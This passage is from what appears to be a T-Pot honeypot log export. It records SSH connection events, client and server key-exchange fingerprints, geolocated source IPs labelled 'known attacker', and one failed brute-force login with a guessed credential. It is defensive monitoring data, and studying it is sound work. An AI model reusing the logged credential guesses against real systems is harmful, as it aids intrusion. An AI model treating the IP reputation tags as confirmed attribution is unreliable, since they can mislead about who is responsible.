"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52056, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.836230", "@timestamp": "2021-09-20T11:11:46.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26206	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:47.003609+03	2021-09-20 14:15:12.969646+03	{"_id": "bQbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59288, "timestamp": "2021-09-20T11:11:47.003609", "@timestamp": "2021-09-20T11:11:47.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26515	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:07.826904+03	2021-09-20 14:15:13.371645+03	{"_id": "cQbnAnwBvYTbRNuE9SH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/fe4e85] failed", "session": "4a22fd910f37", "@version": "1", "password": "fe4e85", "username": "admin", "timestamp": "2021-09-20T11:12:07.826904Z", "@timestamp": "2021-09-20T11:12:07.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26207	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:47.025924+03	2021-09-20 14:15:12.971647+03	{"_id": "bgbnAnwBvYTbRNuEoyBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59288, "dest_port": 22, "timestamp": "2021-09-20T11:11:47.025924", "@timestamp": "2021-09-20T11:11:47.025Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26208	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:46.727393+03	2021-09-20 14:15:12.972646+03	{"_id": "eAbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59288 (192.168.176.2:22) [session: ff0641c5db98]", "session": "ff0641c5db98", "@version": "1", "protocol": "ssh", "src_port": 59288, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.727393Z", "@timestamp": "2021-09-20T11:11:46.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26209	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:11:46.74347+03	2021-09-20 14:15:12.974647+03	{"_id": "cwbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "ba9d8547508f", "@version": "1", "duration": 5.458206415176392, "timestamp": "2021-09-20T11:11:46.743470Z", "@timestamp": "2021-09-20T11:11:46.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26210	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:46.781326+03	2021-09-20 14:15:12.975646+03	{"_id": "dwbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ceced7ff072f", "@version": "1", "timestamp": "2021-09-20T11:11:46.781326Z", "@timestamp": "2021-09-20T11:11:46.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26211	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.026323+03	2021-09-20 14:15:12.976645+03	{"_id": "egbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ff0641c5db98", "@version": "1", "timestamp": "2021-09-20T11:11:47.026323Z", "@timestamp": "2021-09-20T11:11:47.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26212	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.354445+03	2021-09-20 14:15:12.977646+03	{"_id": "fAbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b7fdd28058b6", "@version": "1", "duration": 2.828476667404175, "timestamp": "2021-09-20T11:11:47.354445Z", "@timestamp": "2021-09-20T11:11:47.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26213	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:47.746662+03	2021-09-20 14:15:12.978646+03	{"_id": "iwbnAnwBvYTbRNuEpyAm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38644, "timestamp": "2021-09-20T11:11:47.746662", "@timestamp": "2021-09-20T11:11:47.746Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
